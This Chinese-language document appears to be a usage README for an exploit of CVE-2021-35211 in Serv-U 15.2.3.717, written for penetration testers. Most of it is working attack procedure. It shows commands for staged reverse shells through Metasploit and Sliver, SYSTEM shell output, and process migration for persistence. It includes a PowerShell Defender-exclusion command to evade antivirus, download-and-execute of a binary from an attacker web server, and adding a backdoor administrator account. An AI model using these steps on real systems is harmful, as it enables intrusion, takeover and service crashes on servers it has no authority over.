该漏洞利用并非每次都能成功,但成功率足以在大约每5到6次运行中执行一次 shellcode。然而,有时失败的利用会导致 Serv-U 服务器崩溃。请确保你的交战规则允许服务丢失或降级的风险。测试中观察到的症状包括:
买者自负。
版本很重要。此漏洞利用使用硬编码的 ROP 地址,仅对 Serv-U 版本 15.2.3.717 有效。我们可能能够添加其他版本,如果你需要它适用于不同版本的 Serv-U 或 Windows,请提出请求。
% ncat www.example.com 22
SSH-2.0-Serv-U_15.2.3.717
它接受以下参数:
% python3 CVE-2021-35211.py
usage: CVE-2021-35211.py [-h] [-p TARGETPORT] targetHost {stage,exec,downloadexec} ...
有三种模式(或 payload)可以在成功攻击中运行:
stageexecdownloadexec成功利用后,运行一个与 Metasploit/Sliver 兼容的 shellcode 加载器。它是所有 payload 中最不可靠的;考虑使用 downloadexec。运行方式如下:
% python3 CVE-2021-35211.py example.com stage -h
usage: CVE-2021-35211.py targetHost stage [-h] stageHost stagePort
positional arguments:
stageHost Hostname or IPv4 address of your Metasploit/Sliver shellcode staging instance
stagePort Port number for your staging instance
optional arguments:
-h, --help show this help message and exit
stageHost 和 stagePort 将指向你的 Sliver/Metasploit 机器上的监听处理程序。你可以选择任何你喜欢的 payload,但我发现唯一可靠的是 windows/x64/shell/reverse_tcp。这很遗憾,因为这不是加密的 shell,在弹出这样的 shell 之前,你需要检查你的交战规则。
再次强调,买者自负。
在你的 Kali 机器上运行的 Metasploit 中设置该处理程序,如下所示:
elvis@kali:~ msfconsole
...
msf5 >
msf5 > handler -H 0.0.0.0 -P 10444 -p windows/x64/shell/reverse_tcp
[*] Payload handler running as background job 1.
然后运行漏洞利用:
% python3 CVE-2021-35211.py example.com stage your.metasploit.box 31337
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.
回到 Kali 机器上,你应该会看到 stage 请求和命令 shell 启动:
msf5 >
[*] Sending stage (336 bytes) to example.com
[*] Command shell session 6 opened (10.10.10.14:10444 -> example.com:57562) at 2021-10-22 18:50:11 +0000
msf5 >sessions -i 6
[*] Starting interaction with 6...
(c) Microsoft Corporation. All rights reserved.
C:\Program Files\RhinoSoft\Serv-U>whoami
whoami
nt authority\system
在加载器 payload 中对 Sliver 的支持是高度实验性的且很少能工作。如果它工作,你通常会看到会话启动并立即死亡。但如果你获得一个不会立即终止的会话,你可以采取步骤通过迁移到不同的进程来维护你的 Sliver 访问。
在你的 Sliver 服务器上运行 stage-listener 命令来设置监听器。关于 staging 的更多细节,请参阅 Sliver 文档:
elvis@h:/ehome/haggis$ sudo sliver-server
███████╗██╗ ██╗██╗ ██╗███████╗██████╗
██╔════╝██║ ██║██║ ██║██╔════╝██╔══██╗
███████╗██║ ██║██║ ██║█████╗ ██████╔╝
╚════██║██║ ██║╚██╗ ██╔╝██╔══╝ ██╔══██╗
███████║███████╗██║ ╚████╔╝ ███████╗██║ ██║
╚══════╝╚══════╝╚═╝ ╚═══╝ ╚══════╝╚═╝ ╚═╝
All hackers gain first strike
[*] Server v1.4.17 - 410f0756d26cb279216aecde68c14e68b5c9df32
[*] Welcome to the sliver shell, please type 'help' for options
[*] Check for updates with the 'update' command
sliver >
sliver > stage-listener --url tcp://0.0.0.0:10443 --profile win-shellcode
在 stage 模式下运行漏洞利用:
% python3 CVE-2021-35211.py example.com stage your.sliver.box 10443
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.
如果漏洞利用成功(使用 Sliver 或 Meterpreter payload 时很少成功),你会看到类似这样的输出(是的,Sliver 自己给那个 payload 取了这个名字!):
[*] Session #4 ARTISTIC_PANTIES - example.com:57071 (WIN-EMCK6E5O0DI) - windows/amd64 - Wed, 20 Oct 2021 04:24:10 UTC
sliver > sessions -i 4
[*] Active session ARTISTIC_PANTIES (4)
sliver (ARTISTIC_PANTIES) > info
ID: 4
Name: ARTISTIC_PANTIES
Hostname: WIN-EMCK6E5O0DI
UUID: 0af9fbf2-c8b0-498c-8d9d-332f13e5d0f8
Username: NT AUTHORITY\SYSTEM
UID: S-1-5-18
GID: S-1-5-18
PID: 3956
OS: windows
Version: Server 2016 build 20348 x86_64
Arch: amd64
Remote Address: example.com:57071
Proxy URL: none
Poll Interval: 1
Reconnect Interval: 60
你应该做的第一件事是迁移到不同的进程,因为你的 Sliver 会话很可能会死亡且不再回来,而我在撰写本文时尚不知道根本原因。
sliver (ARTISTIC_PANTIES) > ps
pid ppid owner executable session
=== ==== ===== ========== =======
0 0 [System Process] -1
4 0 System 0
...
3872 728 NT AUTHORITY\SYSTEM svchost.exe 0
4868 728 BUILTIN\Administrators Serv-U.exe 0
4636 868 BUILTIN\Administrators dllhost.exe 0
sliver (ARTISTIC_PANTIES) > migrate 3872
[*] Successfully migrated to 3872
此时,你应该拥有一个稳定的 Sliver 会话,不受 Serv-U 和此漏洞利用的反复无常影响。
最可靠的模式,也是最不可能被 Microsoft Defender 端点安全拦截的模式。这是因为它使用 Powershell 命令(powershell -Command "& {Add-MpPreference -ExclusionPath c:\windows\temp}")为 Microsoft Defender 添加目录排除,使得 Sliver/Meterpreter/任何二进制文件不会被扫描恶意软件。这能保护你免受 Windows Defender 的威胁,但仅此而已;你需要考虑其他端点安全技术、网络 IDS 等。
成功时,从 URL 下载一个二进制文件并执行它。你需要一个托管可执行文件的 Web 服务器。我使用了 Python,但请注意,我是在没有 SSL 的本地网络中进行测试。在实际攻击中,如果你想使用未加密的 URL,你需要检查你的交战规则。
再次强调:买者自负。
运行一个简单的 HTTP 监听器,如下所示:
% python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
在监听器运行时,你可以运行漏洞利用:
% python3 serv-u-exploit2.py example.com downloadexec http://192.168.0.144:8000/calc.exe
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.
你应该会在监听器中看到类似这样的内容:
192.168.0.144 - - [22/Oct/2021 12:28:24] "GET /calc.exe HTTP/1.1" 200 -
目标将执行 calc.exe 并重启 Serv-U 服务,以允许用户重新连接。请注意,可执行文件不会显示窗口,但如果你运行此示例,你应该能在任务管理器中看到 wincalc.exe。
成功时,在目标上运行一条命令。运行方式如下:
% python3 serv-u-exploit2.py example.com exec 'net user bishopfox r34LLy.g00d_p4ssW0rd /add & net localgroup administrators bishopfox /add'
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.
遗憾的是,此漏洞利用确实往往会导致远程进程崩溃。通常它会重启,我正在尝试看是否能让它更稳定,但在此之前,请记住:检查你的交战规则并买者自负。